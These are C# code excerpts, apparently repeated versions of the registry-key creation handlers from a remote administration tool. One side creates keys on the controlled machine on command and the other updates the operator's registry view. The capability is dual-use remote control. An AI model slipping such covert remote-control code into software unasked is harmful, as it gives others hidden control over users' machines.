public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Networking.Client client) { GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse(); string errorMsg; string newKeyName = ""; try { responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.Match = new RegSeekerMatch { Key = newKeyName, Data = RegistryKeyHelper.GetDefaultValues(), HasSubKeys = false }; responsePacket.ParentPath = packet.ParentPath; client.Send(responsePacket); }
private void Execute(ISender client, DoCreateRegistryKey message) { GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse(); string errorMsg; string newKeyName = ""; try { responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.Match = new RegSeekerMatch { Key = newKeyName, Data = RegistryKeyHelper.GetDefaultValues(), HasSubKeys = false }; responsePacket.ParentPath = message.ParentPath; client.Send(responsePacket); }
private void Execute(ISender client, GetCreateRegistryKeyResponse message) { if (!message.IsError) { OnKeyCreated(message.ParentPath, message.Match); } else { OnReport(message.ErrorMsg); } }
public static void HandleCreateRegistryKey(GetCreateRegistryKeyResponse packet, Client client) { try { // Make sure that the client is in the correct state to handle the packet appropriately. if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) { if (!packet.IsError) { client.Value.FrmRe.CreateNewKey(packet.ParentPath, packet.Match); } else { client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); } } } catch { } }
public static void HandleCreateRegistryKey(GetCreateRegistryKeyResponse packet, Client client) { try { if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) { if (!packet.IsError) { client.Value.FrmRe.AddKeyToTree(packet.ParentPath, packet.Match); } else { client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); } } } catch { } }